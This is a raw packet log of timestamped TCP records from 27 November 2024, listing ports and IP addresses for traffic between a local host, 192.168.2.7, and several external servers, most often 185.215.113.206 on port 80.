Nov 27, 2024 16:34:48.407869101 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.407895088 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.408027887 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.408042908 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.408121109 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.411185980 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.411211014 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.411305904 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.411305904 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.411324978 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.411449909 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.441647053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.441663980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.441709042 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.441742897 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.441956997 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.441992998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.442142963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.442190886 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.443135977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.443192005 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.444060087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.444071054 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.444084883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.444134951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.444178104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.444427013 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.444484949 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.445067883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.445142984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.445235968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.445247889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.445276976 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.445307016 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.446055889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.446137905 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.446685076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.446794033 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.446939945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.446985006 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.447916985 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.447928905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.447941065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.447961092 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.447982073 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.448817015 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.448831081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.448865891 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.448894978 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.449691057 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.449778080 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.450037003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.450088978 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.450596094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.450614929 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.450637102 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.450658083 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.451874018 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.451925993 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.452533960 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.452547073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.452559948 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.452599049 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.452647924 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.453391075 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.453455925 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.453459024 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.453515053 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.454190969 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.454236984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.454487085 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.454572916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.455058098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.455108881 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.455605030 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.455652952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.455991983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.456038952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.456362009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.456406116 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.456928968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.457078934 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.457122087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.457170963 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.460306883 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:48.460607052 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:48.460623980 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:48.461132050 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:48.461580038 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:48.461669922 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:48.461972952 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:48.461999893 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:48.462003946 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:48.468333006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.468374014 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.468388081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.468445063 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.468445063 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.468445063 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.468491077 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.468559980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.468573093 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.468584061 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.468601942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.468637943 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.468863964 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.468880892 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.468894005 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.468907118 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.468938112 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.469163895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.469177961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.469189882 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.469202995 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.469208956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.469238043 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.469556093 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.469604969 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.469656944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.469693899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.469711065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.469739914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.469764948 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.469780922 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.469793081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.469805956 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.469840050 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.469899893 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.469922066 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.469947100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.469950914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.469981909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.470747948 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.470761061 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.470773935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.470786095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.470798016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.470808029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.470834017 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.473246098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.473313093 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.473318100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.473330975 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.473361969 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.473504066 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.473520994 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.473532915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.473545074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.473560095 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.473593950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.473903894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.474142075 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.474159956 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.474199057 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.474201918 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.474309921 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.475693941 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.475735903 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.475836992 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.475886106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.475893021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.475908041 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.475929022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.475950956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.478974104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.479028940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.479031086 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.479041100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.479075909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.479176044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.479191065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.479202986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.479228020 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.479245901 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.487647057 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.487713099 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.487791061 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.487807989 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.487842083 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.487926006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.488008022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.488101006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.488121033 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.488152027 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.488280058 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.488291979 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.488303900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.488316059 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.488320112 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.488344908 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.488369942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.488605976 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.488619089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.488634109 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.488646984 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.488657951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.488657951 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.488667965 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.488671064 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.488712072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.488728046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.489098072 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.489109993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.489145041 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.489166021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.489276886 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.489291906 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.489330053 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.628710985 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:48.628741026 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:48.628757954 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:48.628818035 CET	49802	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:48.628838062 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:48.628884077 CET	49802	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:48.665472031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.665537119 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.665676117 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.665716887 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.665954113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.665998936 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.666079044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.666235924 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.666965961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.667012930 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.667041063 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.667113066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.667187929 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:48.667273045 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:48.667458057 CET	49802	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:48.667781115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.667867899 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.667886972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.668008089 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.668658018 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.668728113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.668771029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.669470072 CET	49802	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:48.669488907 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:48.669502020 CET	49802	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:48.669508934 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:48.669562101 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.669605970 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.669648886 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.669691086 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.670452118 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.670550108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.671056986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.671260118 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.671370983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.671417952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.672322989 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.672334909 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.672348022 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.672379971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.672435045 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.673211098 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.673228979 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.673230886 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.673242092 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.673263073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.673279047 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.673289061 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.673331976 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.673362017 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.673367023 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.673367023 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.673368931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.673369884 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.673388958 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.673412085 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.673450947 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.674133062 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.674145937 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.674194098 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.675055981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.675108910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.675246000 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.675290108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.676220894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.676296949 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.676315069 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.676348925 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.676997900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.677062035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.677069902 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.677115917 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.677819014 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.677834034 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.677855968 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.677874088 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.678807020 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.678874016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.678924084 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.679601908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.679615021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.679653883 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.679701090 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.679779053 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.679795980 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.679851055 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.680135965 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.680150032 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.681142092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.681154966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.681195974 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.681348085 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.681360960 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.681397915 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.682198048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.682250023 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.682351112 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.682403088 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.683100939 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.683171988 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.683561087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.684007883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.684052944 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.684932947 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.685056925 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.685067892 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.685094118 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.685138941 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.686012983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.686059952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.686131001 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.686280966 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.687067986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.687079906 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.687127113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.687680960 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.687726021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.687752962 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.687822104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.688671112 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.688682079 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.688716888 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.688754082 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.689470053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.689527035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.689564943 CET	49777	80	192.168.2.7	185.215.113.206
